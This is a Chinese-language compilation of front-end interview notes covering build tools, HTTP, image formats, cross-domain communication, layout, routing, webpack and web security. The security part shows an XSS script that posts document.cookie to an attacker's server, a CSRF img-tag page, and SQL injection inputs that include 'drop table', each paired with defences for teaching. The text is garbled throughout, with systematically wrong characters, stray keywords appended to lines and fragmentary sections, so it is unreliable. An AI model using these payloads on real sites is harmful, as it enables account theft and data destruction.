表單提交,超連接,location對象,還有window.open或者服務器跳轉javascript
安裝這些插件的方式:npm install 插件名 --save-dev
php
grunt-contrib-jshint
用來檢測代碼grunt-contrib-less
預處理編譯less文件grunt-contrib-concat
打包靜態資源文件(通常指js和css文件)grunt-contrib-uglify
簡化靜態資源(通常指js和css文件)grunt-spritesmith
建立子圖集grunt-contrib-clean
清理工做目錄grunt-contrib-watch
監視文件系統的改變grunt-contrib-imagemin
圖像壓縮module.exports=function (grunt) { grunt.initConfig({ jshint: ['example.js'], less:{ compile:{ files:{ 'build/css/elements.css':"public/css/elements.less", } } }, concat: { js: { files: { 'build/js/bundle.js': 'public/js/**/*.js' } } }, uglify: { cobra: { files: { 'build/js/cobra.min.js': 'public/js/cobra.js' } } }, sprite: { icons: { src: 'public/img/icons/*.png', destImg: 'build/img/icons.png', destCSS: 'build/css/icons.css' } }, clean: { js: 'build/js', css:'build/css' } }); grunt.loadNpmTasks('grunt-contrib-jshint'); grunt.loadNpmTasks('grunt-contrib-less'); grunt.loadNpmTasks('grunt-contrib-concat'); grunt.loadNpmTasks('grunt-contrib-uglify'); grunt.loadNpmTasks('grunt-spritesmith'); grunt.loadNpmTasks('grunt-contrib-clean');};
storage
事件,同源的其餘標籤頁也會觸發這個事件咱們經過監聽事件,經過設置值能夠來進行頁面信息通訊;先看一題:
請描述http請求get和post的區別,下面描述正確的有:css
A. GET用於信息獲取,並且應該是安全的和冪等的,POST表示可能修改變服務器上的資源的請求
C. GET方式提交的數據最多隻能是1024字節,理論上POST沒有限制,可傳較大量的數據
D. POST提交,把提交的數據放置在是HTTP包的包體中,GET提交的數據會在地址欄中顯示出來
牛客網上的一題,答案僅供參考:A/C/D
我的以爲,根據目前http應用的場合、瀏覽器環境、服務器環境,上面的答案不必定嚴謹html
Get方式:用get方式可傳送簡單數據,但大小通常限制在1KB下,數據追加到url中發送(http的header傳送),也就是說,瀏覽器將各個表單字段元素及其數據按照URL參數的格式附加在請求行中的資源路徑後面。另外最重要的一點是,它會被客戶端的瀏覽器緩存起來,那麼,別人就能夠從瀏覽器的歷史記錄中,讀取到此客戶的數據,好比賬號和密碼等。所以,在某些狀況下,get方法會帶來嚴重的安全性問題。
Post方式:當使用POST方式時,瀏覽器把各表單字段元素及其數據做爲HTTP消息的實體內容發送給Web服務器,而不是做爲URL地址的參數進行傳遞,使用POST方式傳遞的數據量要比使用GET方式傳送的數據量大的多。前端
總之,GET方式傳送數據量小,處理效率高,安全性低,會被緩存,而POST反之。java
大的來講,GET訪問瀏覽器認爲是等冪的,POST不是python
域名解析 –> 發起TCP的3次握手 –> 創建TCP鏈接後發起http請求 –> 服務器響應http請求,瀏覽器獲得html代碼 –> 瀏覽器解析html代碼,並請求html代碼中的資源(如js、css、圖片等) –> 瀏覽器對頁面進行渲染呈現給用戶。
補充:若是資源未過時,直接使用緩存的資源,收到請求的數據,若是容許緩存,須要對其進行緩存
具體流程以及涉及的知識點參考:[淺談HTTP事務的一個過程(http://www.cnblogs.com/LIUYANZUO/p/5428185.html)mysql
,HTTP 協議是以 ASCII 碼傳輸,創建在 TCP/IP 協議之上的應用層規範。規範把 HTTP 請求分爲三個部分:狀態行、請求頭、消息主體。相似於下面這樣: webpack
<method> <request-url> <version> //請求行<headers> //請求頭<entity-body></entity-body></headers></version></request-url></method> //消息實體
協議規定 POST 提交的數據必須放在消息主體(entity-body)中,但協議並無規定數據必須使用什麼編碼方式。實際上,開發者徹底能夠本身決定消息主體的格式,只要最後發送的 HTTP 請求知足上面的格式就能夠。
可是,數據發送出去,還要服務端解析成功纔有意義。通常服務端語言如 php、python 等,以及它們的 framework,都內置了自動解析常見數據格式的功能。服務端一般是根據請求頭(headers)中的 Content-Type 字段來獲知請求中的消息主體是用何種方式編碼,再對主體進行解析。因此說到 POST 提交數據方案,包含了 Content-Type 和消息主體編碼方式兩部分。
application/x-www-form-urlencoded
這應該是最多見的 POST 提交數據的方式了。瀏覽器的原生 form 表單,若是不設置 enctype 屬性,那麼最終就會以 application/x-www-form-urlencoded 方式提交數據css3
POST http://www.example.com HTTP/1.1 Content-Type: application/x-www-form-urlencoded;charset=utf-8 title=test&sub%5B%5D=1&sub%5B%5D=2&sub%5B%5D=3
multipart/form-data
這又是一個常見的 POST 數據提交的方式。咱們使用表單上傳文件時,必須讓 form 的 enctyped 等於這個值。
application/json
application/json 這個 Content-Type 做爲響應頭你們確定不陌生。實際上,如今愈來愈多的人把它做爲請求頭,用來告訴服務端消息主體是序列化後的 JSON 字符串。
POST http://www.example.com HTTP/1.1 Content-Type: application/json;charset=utf-8 {"title":"test","sub":[1,2,3]}
** text/xml**
http的隱患:
https:
爲了解決http協議的保密性(防泄密)、完整性(防篡改)、真實性(防假冒),發展出了https協議,HTTPS 是由 HTTP 協議+SSL 協議構成。SSL 協議經過對信息進行加密,爲網絡通訊提供安全保障。它運用了非對稱密鑰機制,這種機制是將公鑰自由對外分發,而私鑰只有信息接收者纔有。簡單的說,其實 HTTPS = HTTP + 加密 + 認證 + 完整性保護
HTTP/2的優點
相比 HTTP/1.x,HTTP/2 在底層傳輸作了很大的改動和優化:
格式 | 壓縮模式 | 交錯支持 | 透明支持 | 動畫支持 |
---|---|---|---|---|
JPG | 有損壓縮 | 支持 | 不支持 | 不支持 |
PNG | 無損壓縮 | 支持 | 支持 | 不支持 |
GIF | 無損壓縮 | 支持 | 支持 | 支持 |
交錯支持:能夠先加載低分辨率,而後慢慢向高分辨率加載,大概也就是加載一個像素點隔開幾個,而後慢慢加載起來,這樣用戶就能先看到圖片的大概樣子而後慢慢獲得清晰的圖片而省去等待的時間。
總的來講:色彩單調,圖標比較小時選擇png和gif,網站內容裏,你真實拍攝的圖片,或者你下載的風景圖片,保持JPG來得到更好的顯示效果和體積,截圖通常選擇PNG。此外,若是你的圖片很是小,你甚至能夠考慮Base64。
WebP格式,谷歌開發的一種旨在加快圖片加載速度的圖片格式。同時支持無損和有損壓縮,也支持透明和動畫特性,圖片壓縮體積大約只有JPEG的2/3,能節省大量的服務器帶寬資源和數據空間,提升網頁加載速度。
JSON(JavaScript Object Notation) 是一種輕量級的數據交換格式。
它是基於JavaScript的一個子集。數據格式簡單, 易於讀寫, 佔用帶寬小
如:{"age":"12", "name":"back"}
JSON字符串轉換爲JSON對象:
var obj =eval('('+ str +')');var obj = JSON.parse(str);var obj = jQuery.parseJSON('{"name":"John"}');//使用Jquery
JSON對象轉換爲JSON字符串:
var last=JSON.stringify(obj);
因爲瀏覽器支持特性不一致,根據需求,也許要本身編寫json轉換方法或者使用第三方庫
1.同域下父子頁面的通訊
2.跨域父子頁面通訊方法
a.com/proxy.html?args=XXX
,也就是給url加 一個查詢字符串,proxy.html內的js是能夠讀取到的。對的,這個url的查詢字符串就是b.html和proxy.html之間通訊的橋樑. 僅作知識積累,未實際驗證,有時間再進一步總結
前端Js跨域方法彙總—剪不斷,理還亂,是跨域]
父子頁面之間跨域通訊的方法
嵌入式iframe子頁面與父頁面js通訊方式]
上面的三篇文章基本上涵蓋了全部的跨域狀況,建議詳細閱讀
蘋果推出的雙擊縮放(double tap to zoom),這也是會有上述 300 毫秒延遲的主要緣由。
因爲用戶能夠進行雙擊縮放或者雙擊滾動的操做,當用戶一次點擊屏幕以後,瀏覽器並不能馬上判斷用戶是確實要打開這個連接,仍是想要進行雙擊操做。
瀏覽器開發商的解決方案
<meta name="viewport" content="user-scalable=no"><meta name="viewport" content="initial-scale=1,maximum-scale=1">
<meta name="viewport" content="width=device-width">
這個方案相比方案一的好處在於,它沒有徹底禁用縮放,而只是禁用了瀏覽器默認的雙擊縮放行爲,但用戶仍然能夠經過雙指縮放操做來縮放頁面。
舊版本瀏覽器解決方案
方案一:指針事件的polyfill
Google 的 Polymer
微軟的 HandJS
@Rich-Harris 的 Points
方案二:FastClick
FastClick 是 FT Labs 專門爲解決移動端瀏覽器 300 毫秒點擊延遲問題所開發的一個輕量級的庫。FastClick的實現原理是在檢測到touchend事件的時候,會經過DOM自定義事件當即出發模擬一個click事件,並把瀏覽器在300ms以後的click事件阻止掉。
參考
BAT及各大互聯網公司2014前端筆試面試題–Html,Css篇
單位
@media mediatype and|not|only (media feature){ CSS-Code;}
你也能夠針對不一樣的媒體使用不一樣 stylesheets :
<link rel="stylesheet" media="mediatype and|not|only (media feature)" href="mystylesheet.css">
viewport
<meta name="viewport" content="width=device-width,initial-scale=1.0,minimum-scale=1.0,maximum-scale=1.0,user-scalable=no" />
彈性盒子佈局flex
博大精深,三言兩語說不清,請自行補充資料
數據雙向綁定是不少MVVM框架的共同特性,比較流行的兩個框架就是Angular和VueJS,這兩個框架在實現數據雙向綁定的思路上是不一樣的。
首先,當視圖上數據改變時,能夠經過監聽DOM事件,來觸發模型數據的改變,再這一點上,兩個框架的思路應該是想通的(實際上,我並無驗證上面的說法,只是道聽途說,時間確實有限,只能先這樣了,等有時間研究框架,會仔細分析的)。
其次,當模型數據變化時須要更新視圖數據,對於這個實現,兩個框架是徹底不一樣的。
$$watcher
監聽列表裏面。而後再某些條件下觸發「髒值檢查」,將原對象複製一份快照,比較如今對象與快照的值,若是不同就代表發生了變化,以此更新視圖。這個策略要保留兩份變量,並且要遍歷對象,比較每一個屬性,這樣會有必定的性能問題,優勢是每次髒檢查能夠同時更新多個數據,改動model數據,主動執行$digest
函數,能夠手動觸發髒值檢查。controller初始化的時候,全部以ng-開頭的事件執行後都會觸發髒檢查。1.使用間歇調用和超時調用setTimeout、setInterval
2.使用requestAnimationFrame 會把每一幀中的全部DOM操做集中起來,在一次重繪或迴流中就完成,而且重繪或迴流的時間間隔牢牢跟隨瀏覽器的刷新頻率,通常來講,這個頻率爲每秒60幀。
3.CSS3動畫
<?php $username="<script>alert('侯醫生');</script>";?>
假設用戶訪問你的主頁,就會彈窗,若是把script標籤裏的代碼改爲以下的代碼,豈不是能夠盜取用戶cookie
$.ajax({ url: '本身的服務器', dataType: 'jsonp', data: {'盜取的用戶cookie': document.cookie}});
防護
1.設置cookie時帶上HttpOnly,這樣cookie只能經過http發送,不能經過JavaScript獲取到
2.輸入檢查,檢查用戶的輸入是否合法,過濾腳本字段等
3.輸出檢查,即在變量輸出到HTML中時使用編碼或者轉義的方式
<div> 用戶名:<?php echo htmlentities($username);?> </div>
http://localhost:8082/lab/xsrflab/submit.php?pid=1
<?php// 從cookie中獲取用戶名,看似穩妥 $username = $_COOKIE['username']; $productId = $_GET['pid'];// 這裏進行購買操做 //store_into_database($username, $productId);?><meta charset="utf-8" /><?php echo $username . '買入商品:' . $productId;?>
而後去訪問黑客的網站
那麼,黑客的網站能夠這樣開發:
<!DOCYTPE HTML><html> <head> <meta charset="utf-8" /> </head> <body> <img src="http://localhost:8082/lab/xsrflab/submit.php?pid=1" /> </body></html>
經過img標籤的src屬性,這樣的話,用戶只須要訪問一次黑客的網站,其實就至關於在你的網站中,操做了一次。然而用戶卻沒有感知。
防護
1.加入驗證碼
2.用戶進入操做頁面的時候綁定令牌到隱藏input,服務端進行令牌的校驗
3.Referer Check-檢查報頭中的Referer參數確保請求發自正確的網站(但XHR請求可調用setRequestHeader方法來修改Referer報頭)
book.com/book?id=100
select * from booktable where id='100'
book.com/book?id=100'or'1'='1
select * from booktable where id='100'or'1'='1'
select * from booktable where id='100';drop table booktable'
$sql ="SELECT * FROM booktable WHERE id=".mysql_real_escape_string($_GET['id]);
$query = 「INSERT INTO myCity (Name, CountryCode, District) VALUES (?,?,?)";$stmt = $mysqli->prepare($query);$stmt->bindpaxam("sss", $vall, $val2, $val3)$vall ='Stuttgart';$val2='DEU';$val3='xxx';/* Execute the statement */$stmt->execute()
參考
建議讀《白帽子講Web安全》
自適應佈局(Adaptive Layout)
自適應佈局(Adaptive)的特色是分別爲不同的屏幕分辨率定義佈局。佈局切換時頁面元素髮生改變,但在每一個佈局中,頁面元素不隨窗口大小的調整發生變化。就是說你看到的頁面,裏面元素的位置會變化而大小不會變化;你能夠把自適應佈局看做是靜態佈局的一個系列。
流式佈局(Liquid Layout)
流式佈局(Liquid)的特色(也叫"Fluid") 是頁面元素的寬度按照屏幕進行適配調整,主要的問題是若是屏幕尺度跨度太大,那麼在相對其原始設計而言太小或過大的屏幕上不能正常顯示。
響應式佈局(Responsive Layout)
分別爲不一樣的屏幕分辨率定義佈局,同時,在每一個佈局中,應用流式佈局的理念,即頁面元素寬度隨着窗口調整而自動適配。能夠把響應式佈局看做是流式佈局和自適應佈局設計理念的融合。
在單頁應用上,前端路由並不陌生。單頁應用是指在瀏覽器中運行的應用,在使用期間頁面不會從新加載。
<ul> <li><a href="#/">turn white</a></li> <li><a href="#/blue">turn blue</a></li> <li><a href="#/green">turn green</a></li> </ul>
function refresh() { var hash=window.location.slice(1) || '/'; //而後根據hash值來進行相應的操做,注意這裏的操做並不意味着 //頁面跳轉}window.addEventListener('hashchange',refresh,false);
interface History { readonly attribute long length; readonly attribute any state; void go(optional long delta); void back(); void forward(); void pushState(any data, DOMString title, optional DOMString? url = null); void replaceState(any data, DOMString title, optional DOMString? url = null);};
而要實現改變地址欄中的url的功能要使用到的方法是pushState,它的第三個參數指的即爲在地址欄中想要顯示的url(前面兩個參數,一個是要傳遞的數據,一個是新頁面的title,可是好像如今還不支持),以下:
window.history.pushState(null, null, "http://xxxx/url1");
簡單地利用history.pushState,雖然能夠實現無刷新地址跳轉,但並無解決在瀏覽器中前進後退,內容並無相應改變這個問題,此時就須要用到window.onpopstate事件了,當頁面地址發生改變時,便會觸發window對象的onpopstate事件,而咱們只要在pushState的同時將當前頁面的參數傳遞給瀏覽器,並在onpopstate事件中做出相應即可以了:
history.pushState({title: '頁面標題', html: '頁面HTML'}, '', 'newpage.html');window.onpopstate = function(event){ if(event && event.state){ document.title = event.state.title; document.body.innerHTML = event.state.html; }}
參考:操縱歷史,利用HTML5 History API實現無刷新跳轉
WebPack
是一個模塊打包工具,你可使用WebPack
管理你的模塊依賴,並編繹輸出模塊們所需的靜態文件。它可以很好地管理、打包Web開發中所用到的HTML、Javascript、CSS
以及各類靜態文件(圖片、字體等),讓開發過程更加高效。對於不一樣類型的資源,webpack
有對應的模塊加載器。webpack
模塊打包器會分析模塊間的依賴關係,最後 生成了優化且合併後的靜態資源。
webpack
的兩大特點:
1.code splitting(能夠自動完成)2.loader 能夠處理各類類型的靜態文件,而且支持串聯操做
webpack
是以commonJS
的形式來書寫腳本滴,但對 AMD/CMD
的支持也很全面,方便舊項目進行代碼遷移。
webpack
具備requireJs
和browserify
的功能,但仍有不少本身的新特性:
1. 對 CommonJS 、 AMD 、ES6的語法作了兼容
2. 對js、css、圖片等資源文件都支持打包
3. 串聯式模塊加載器以及插件機制,讓其具備更好的靈活性和擴展性,例如提供對CoffeeScript、ES6的支持
4. 有獨立的配置文件webpack.config.js
5. 能夠將代碼切割成不一樣的chunk,實現按需加載,下降了初始化時間
6. 支持 SourceUrls 和 SourceMaps,易於調試
7. 具備強大的Plugin接口,大可能是內部插件,使用起來比較靈活
8.webpack 使用異步 IO 並具備多級緩存。這使得 webpack 很快且在增量編譯上更加快
touch
事件代替click
事件。css3
漸變陰影效果。transform: translateZ(0)
來開啓硬件加速。